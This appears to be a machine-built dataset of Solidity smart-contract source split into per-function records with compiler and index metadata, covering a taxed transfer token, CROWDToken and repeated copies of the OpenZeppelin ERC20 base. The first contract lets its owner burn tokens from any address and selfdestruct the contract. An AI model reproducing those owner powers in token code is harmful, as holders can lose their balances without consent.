require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _beforeTokenTransfer(sender, recipient, amount); uint256 sendAmount = amount; if (!taxWhitelist[sender]) { uint256 taxAmount = amount.mul(taxRate).div(TAX_RATE_DIVISOR); _balances[taxReceiver] = _balances[taxReceiver].add(taxAmount); emit Transfer(sender, taxReceiver, taxAmount); sendAmount = sendAmount.sub(taxAmount); } _balances[recipient] = _balances[recipient].add(sendAmount); emit Transfer(sender, recipient, sendAmount); } function _mint(address account, uint256 amount) internal virtual override { require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded"); super._mint(account, amount); } function burn(address from, uint256 amount) external onlyOwner { _burn(from, amount); } function mintBySignature( uint256 amount, uint256 requestID, bytes32 r, bytes32 s, uint8 v ) external { require(!mintIDs[requestID], "mint-id-used"); require(isSigned(MINT_OP, amount, requestID, r, s, v), "bad-signer"); _mint(hotwalletRepository.hotwallet(), amount); mintIDs[requestID] = true; } function mint( uint256 amount, address account ) external onlyOwner() { _mint(account, amount); } function deposit( string memory _tokendID, uint256 _amount ) external returns (bool){ _transfer(msg.sender, hotwalletRepository.hotwallet(), _amount); emit Deposited(_tokendID, _amount); return true; } function withdraw( uint256 _amount, uint256 _requestID, bytes32 _r, bytes32 _s, uint8 _v ) external returns (bool){ require(!withdrawIDs[_requestID], "withdraw-id-used"); require(isSigned(WITHDRAW_OP, _amount, _requestID, _r, _s, _v), "bad-signer"); address hotwallet = hotwalletRepository.hotwallet(); require(balanceOf(hotwallet) >= _amount, "balance-too-low"); withdrawIDs[_requestID] = true; _transfer(hotwallet, msg.sender, _amount); emit Withdrawn(_requestID); return true; } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } function terminate() external onlyOwner { address payable addr = payable(address(owner())); selfdestruct(addr); } }
isSigned
function isSigned( uint256 _prefix, uint256 _amount, uint256 _requestID, bytes32 _r, bytes32 _s, uint8 _v ) view internal returns (bool) { bytes32 _hash = keccak256(abi.encodePacked(_prefix, block.chainid, address(this), msg.sender, _requestID, _amount)); address signer = ecrecover(_hash, _v, _r, _s); require(signer != address(0), "bad-signature"); return signersRepository.isSigner(signer); }
// 10%
LineComment
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 909, 1409 ] }
14,146
CROWDToken
contracts/CROWDToken.sol
0x374fb05c96c36348b92e38fb088b26b8511e3b3d
Solidity
CROWDToken
contract CROWDToken is ICROWDToken { constructor( string memory _name, string memory _symbol, uint256 _amount ) ERC20(_name, _symbol) { setMaxSupply(_amount * 10**decimals()); _mint(_msgSender(), maxSupply()); } //Don't accept ETH or BNB receive() external payable { revert("Don't accept ETH or BNB"); } }
//Don't accept ETH or BNB
LineComment
v0.8.0+commit.c7dfd78e
{ "func_code_index": [ 295, 376 ] }
14,147
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
name
function name() public view virtual override returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 771, 876 ] }
14,148
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
symbol
function symbol() public view virtual override returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the * name. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 990, 1099 ] }
14,149
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
decimals
function decimals() public view virtual override returns (uint8) { return 18; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 1733, 1831 ] }
14,150
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, 